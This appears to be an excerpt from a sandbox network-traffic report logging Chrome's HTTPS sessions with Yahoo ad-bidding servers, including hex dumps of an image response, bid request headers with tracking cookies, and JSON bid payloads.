width=720,height=408,bytes=64052,owidth=5166,oheight=3444,obytes=4408362,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Fri, 26 Apr 2024 21:48:02 GMT X-Served-By: cache-iad-kiad7000170-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714168083.686626,VS0,VE115 Age: 89638 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-iad-kiad7000170-IAD cld_latency: 115 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 52 49 46 46 2c fa 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 cf 02 00 97 01 00 49 43 43 50 48 0c 00 00 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: RIFF,WEBPVP8X ICCPHHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 01 e1 01 e9 01 f2 01 fa 02 03 02 0c 02 14 02 1d 02 26 02 2f 02 38 02 41 02 4b 02 54 02 5d 02 67 02 71 02 7a 02 84 02 8e 02 98 02 a2 02 ac 02 b6 02 c1 02 cb 02 d5 02 e0 02 eb 02 f5 03 00 03 0b 03 16 03 21 03 2d 03 38 03 43 03 4f 03 5a 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 Data Ascii: &/8AKT]gqz!-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac Data Ascii: xy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$hBd@iG&vV8nR7u\
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 4b d8 c5 2a dd a5 74 5f 4e 0b 6f 87 91 f0 47 cf f1 f0 d2 df 74 fd 07 b5 7e 9a e9 99 e1 37 a7 cc 82 2a f2 e3 59 a0 7d 52 d6 f9 3a b1 e2 13 7c af 7b bb 7c 4d cf e9 b1 9e 71 80 f6 5f 86 d6 9c a1 c3 59 84 fd c7 eb 4c b4 24 67 a4 58 b9 2b 58 a2 dd 95 7e 6b 18 32 76 71 67 04 2c 84 78 f0 06 f3 e5 1d f6 4a 7a b0 51 24 2d 42 99 9a 3f b4 82 53 8a 3f e1 50 67 31 2b a0 dd 3d 4c 6a 00 0e c8 3f 94 21 96 89 f6 db 2b a5 e9 da a4 58 3a ec 07 8a 2d 31 87 72 91 a2 1e 95 86 6c fd 49 51 bb 47 87 06 f8 63 62 c2 23 87 3f ac c0 80 56 d2 99 56 a2 15 19 ae f7 50 39 1a 9f 46 44 83 89 74 d6 f9 77 6a bb 26 23 8a 8c af f9 58 98 ad 87 1d fc d1 5a ac 6c 39 12 ca c1 94 7d 00 08 06 9e 04 d1 26 58 a9 78 1c 7b 25 02 70 00 16 b0 df f9 5e 9f 6f 38 3c e2 3b 86 dd dd e5 0f 63 c4 74 30 c1 68 df Data Ascii: Kt_NoGt~7Y}R:\|{\|Mq_YL$gX+X~k2vqg,xJzQ$-B?S?Pg1+=Lj?!+X:-1rlIQGcb#?VVP9FDtwj&#XZl9}&Xx{%p^o8<;ct0h
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 90 5b 44 d9 40 f0 e7 fa 92 61 5f da 51 81 cf 77 82 7d f9 ff 45 1e 29 6a 97 44 8e 0e e0 df 34 46 4e 75 0a d7 53 e8 95 16 c8 61 94 dd ec 6d d5 dd c8 8f 3f 13 24 50 69 92 f5 fb 0b df e4 e8 46 36 07 31 ac 09 fb 1d fc b8 f4 01 67 a7 a7 9a 99 ed d4 0c a9 3c 9b c1 b6 ff 9b a0 51 80 3e 6e 71 bd e0 eb ef c2 cd 60 58 b1 68 29 00 7f 92 6b 66 3f ea fe 1e cf 2f 04 98 bf a7 30 20 be 69 75 d6 88 00 66 df 41 af b0 10 f0 4d aa b6 8d 1b e8 c2 57 2c 2b e6 9e 31 8f 8e 7d ac 2a f7 87 b9 8e b7 09 eb 46 38 f8 4c df 27 bb 57 77 03 4c b5 19 8d 74 b4 37 fe df c8 4e 0a 11 b9 3c f2 bf 5c 4a 86 66 f3 a8 02 ff ee c8 16 ed 1e 89 57 4d d7 9d f2 0f 37 6f 24 e1 0f 82 fe 55 92 56 32 56 ec 26 e4 0d ca 25 58 2d 98 e1 4a 0d bb 88 7e dc bf 32 f8 b4 70 a1 a5 d4 a1 64 8b 55 95 ed 75 da 7f bf 13 Data Ascii: [D@a_Qw}E)jD4FNuSam?$PiF61g<Q>nq`Xh)kf?/0 iufAMW,+1}*F8L'WwLt7N<\JfWM7o$UV2V&%X-J~2pdUu
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ca 4a 68 61 9f 07 88 39 c4 e3 4e bf 52 39 40 26 20 50 b8 ba 91 6e 02 0b bb 8e 0d 19 b1 a6 78 2a 7f 62 8f 86 dd 9b 9f 49 32 b0 70 92 94 ee b3 22 5d db 23 36 9b e3 cd bd 8d c9 07 1a 2c 9a a6 d8 4e 2f d7 fe 31 3b cc 0e 31 01 79 ca 06 51 80 67 87 12 73 8b 38 34 3f 3d ee 56 8c 38 a3 c1 6b 8b 60 e1 76 fc c1 26 ed 05 7a 08 06 46 c5 fb 5c f5 74 14 ce 32 da a0 e8 59 fb 13 ca 92 e8 70 a0 2b 4f be ee f0 99 94 a1 e3 3d 46 b7 81 2d 02 2b 69 98 4f 62 30 70 2b 7b 2b eb 9f 5b 3f a1 0e 87 2c 9f e1 42 88 fa 19 c3 0b 2a af 82 92 71 e6 29 24 92 c8 9e a6 e0 91 ad 5b a3 a6 5f a1 3f c7 91 bb dc 71 fc f2 d8 48 d6 e6 f5 5f df 91 b9 f6 48 6e 2f 9f 17 01 52 92 96 5f 64 17 12 05 33 39 c7 4f e5 63 d5 69 c7 17 d6 04 a5 65 c6 2c cf 00 1d bc 2d f3 75 8e 8e af f1 18 35 fb a1 4f 01 90 36 Data Ascii: Jha9NR9@& PnxbI2p"]#6,N/1;1yQgs84?=V8k`v&zF\t2Yp+O=F-+iOb0p+{+[?,Bq)$[_?qH_Hn/R_d39Ocie,-u5O6
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 2f 6f 21 ef 01 90 7e a4 20 2f 67 ca 71 8a 49 fc 7a eb ec 22 2b 5a fc 43 d7 89 3d 40 59 d4 5a 62 0c 1e 2a cb dd 16 14 29 de 1a 51 66 d9 dd cf a4 c0 90 1f e4 c2 53 c2 89 bc 46 99 ac 36 9a a2 4c 95 23 7b 5d 38 d9 0e 87 00 d2 02 73 fc dc f7 c1 61 49 fa 7b 89 77 44 f5 01 bb 07 30 a9 fd e4 5a fd ee 87 c6 80 61 d6 4d 9f f7 db 35 ba 44 c7 0e 82 11 c9 86 05 6f 9e bf 50 92 15 7a 91 b0 75 b4 c7 73 0b ef 07 da 22 2b 2f 70 88 8c 82 e4 66 f9 66 8f 39 b4 91 19 cb c5 11 f4 ae 40 fb 08 db e9 1e 15 fb 84 4f 8e f6 8f 7d c9 09 2c 54 f3 37 46 99 13 67 9b 3d ee 65 74 22 4b 2e 5c 54 1a 41 b5 fe 20 c7 6d a5 68 df a3 c4 0e 12 26 b3 77 25 63 78 8b ea 4c 9a f8 8e b3 c6 3d 82 ee 4b ce 00 4a d8 9c 09 fb da d6 34 a3 66 d1 88 93 5c 68 ac e7 08 99 c7 ce a2 99 7d 70 6b 96 d1 c4 47 04 6a Data Ascii: /o!~ /gqIz"+ZC=@YZb*)QfSF6L#{]8saI{wD0ZaM5DoPzus"+/pff9@O},T7Fg=et"K.\TA mh&w%cxL=KJ4f\h}pkGj
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 6a 36 09 19 b0 be 18 b2 0f d4 91 3f eb c4 cc 0b c6 be a2 5a 55 2b ca 82 0a 7b 5b 6d 6e 72 db 1a 58 e8 bd 3d 41 2e af 20 4e a3 e1 10 cd cf 09 0b 90 d9 9e 93 2a a6 3c 43 5c d8 85 52 64 a0 2a 47 84 b7 39 ff e9 04 0a c3 82 cd 05 ab 19 aa 26 fd e6 d3 a0 5b 35 31 45 5f 78 f7 b1 3e 7c 18 10 e2 80 b7 c5 6c c2 2a 3e d4 d7 35 2f 2e be 0c 6d 93 0a 9b 48 fc 69 20 d3 42 2b af 98 e3 a1 15 26 9b 30 1f de 04 12 f4 ce fd a8 17 9a 25 e8 1c 07 26 a6 6a 6f 6b 22 9b 56 08 b2 1f 42 69 a7 03 cb 4d 0d f7 14 bf 16 6a cd 6d d6 e6 8a 76 62 2a 71 bc 3e 9c 11 31 8a ed 91 2d 5d 86 54 28 58 58 78 7c b5 bc 2b 52 ff 89 20 8d c8 04 4c c0 f9 35 64 df fb a7 29 e8 be 27 1e 19 02 ae 10 65 9d 19 ba 0c 8c 17 df 01 ff 37 7f 91 b7 a3 f4 7f c2 37 a3 21 85 c7 96 d5 20 92 50 5d 8b 15 1d 9f 45 5f 3c Data Ascii: j6?ZU+{[mnrX=A. N<C\RdG9&[51E_x>\|l>5/.mHi B+&0%&jok"VBiMjmvbq>1-]T(XXx\|+R L5d)'e77! P]E_<
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: ca ff df d8 77 91 d9 e8 55 9b 9c 32 b4 e7 fc 1b 01 70 e1 49 b5 37 94 6b a2 d5 9f b2 86 61 aa 3c 8c f6 34 e0 a5 e4 f3 28 3d 8e 32 c2 b0 3b be 61 7d 7a 3c 5a e5 61 2b a9 73 29 61 39 53 57 f9 67 0d 7e 71 a6 41 5a c6 3f 26 f2 cd be 18 de 95 f8 25 fe a9 55 50 95 da b8 16 97 03 71 79 ec 42 2d 2e d1 37 f6 af 11 92 4f d2 01 98 13 30 df ba a6 ee c6 d0 27 e8 1a 47 c6 d0 37 1b 20 e8 eb e6 9f 24 03 1b ff c5 26 21 4f 09 cc 56 9d 15 2d 02 f0 f0 2a 27 12 11 ab 46 18 5a f3 51 b3 90 e1 7a 48 5a 1f f1 f7 25 81 42 85 a5 af 34 a8 b9 e1 af 27 b9 ef 15 fd 4d df 79 25 2f 3a 66 dc 68 74 50 bd 67 9a ce f8 ef 57 e1 b3 43 23 42 3e ee 97 d8 c1 ee 69 ac f4 6a 9c 91 4f 70 f2 5f b9 bb 7e 8e 72 f2 92 61 b1 20 ee 03 4d 94 61 79 23 86 59 ab 81 4a 3d 46 49 1f 38 df d9 32 41 b8 f0 bb ef 55 Data Ascii: wU2pI7ka<4(=2;a}z<Za+s)a9SWg~qAZ?&%UPqyB-.7O0'G7 $&!OV-*'FZQzHZ%B4'My%/:fhtPgWC#B>ijOp_~ra May#YJ=FI82AU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	49990	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1251	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1192 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	1192	OUT	Data Raw: 7b 22 69 64 22 3a 22 30 38 35 36 37 36 63 66 2d 32 61 33 64 2d 34 37 34 32 2d 39 37 65 37 2d 35 38 63 64 65 62 66 39 39 33 33 36 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 34 31 64 31 39 64 38 34 66 65 66 30 32 38 34 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 31 38 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 2c 22 70 6f 73 22 3a 33 7d 2c 22 65 78 74 22 3a 7b 22 64 66 70 5f 61 Data Ascii: {"id":"085676cf-2a3d-4742-97e7-58cdebf99336","cur":["USD"],"imp":[{"id":"41d19d84fef0284","secure":1,"bidfloor":0.18,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250}],"pos":3},"ext":{"dfp_a
2024-04-27 22:42:00 UTC	348	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:00 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	49992	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1251	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1192 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	1192	OUT	Data Raw: 7b 22 69 64 22 3a 22 37 33 61 61 33 31 35 64 2d 36 65 30 36 2d 34 66 32 31 2d 38 35 36 61 2d 39 38 39 37 34 36 62 33 34 31 62 63 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 34 30 33 37 33 35 35 63 31 38 65 35 64 65 37 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 38 35 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 2c 7b 22 77 22 3a 39 37 30 2c 22 68 22 3a 32 35 30 7d 5d 2c 22 70 6f 73 22 Data Ascii: {"id":"73aa315d-6e06-4f21-856a-989746b341bc","cur":["USD"],"imp":[{"id":"4037355c18e5de7","secure":1,"bidfloor":0.85,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":728,"h":90},{"w":970,"h":250}],"pos"
2024-04-27 22:42:00 UTC	348	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:00 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	49993	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1251	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1192 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:59 UTC	1192	OUT	Data Raw: 7b 22 69 64 22 3a 22 39 66 61 66 30 35 61 66 2d 37 33 62 33 2d 34 31 30 30 2d 61 64 30 65 2d 66 33 62 36 34 33 32 31 38 63 33 31 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 33 39 39 39 64 30 39 62 62 66 37 30 63 64 37 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 38 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 2c 22 70 6f 73 22 3a 33 7d 2c 22 65 78 74 22 3a 7b 22 64 66 70 5f 61 Data Ascii: {"id":"9faf05af-73b3-4100-ad0e-f3b643218c31","cur":["USD"],"imp":[{"id":"3999d09bbf70cd7","secure":1,"bidfloor":0.08,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250}],"pos":3},"ext":{"dfp_a
2024-04-27 22:42:00 UTC	348	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:00 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	49994	34.236.83.94	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1251	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1191 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" content-type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
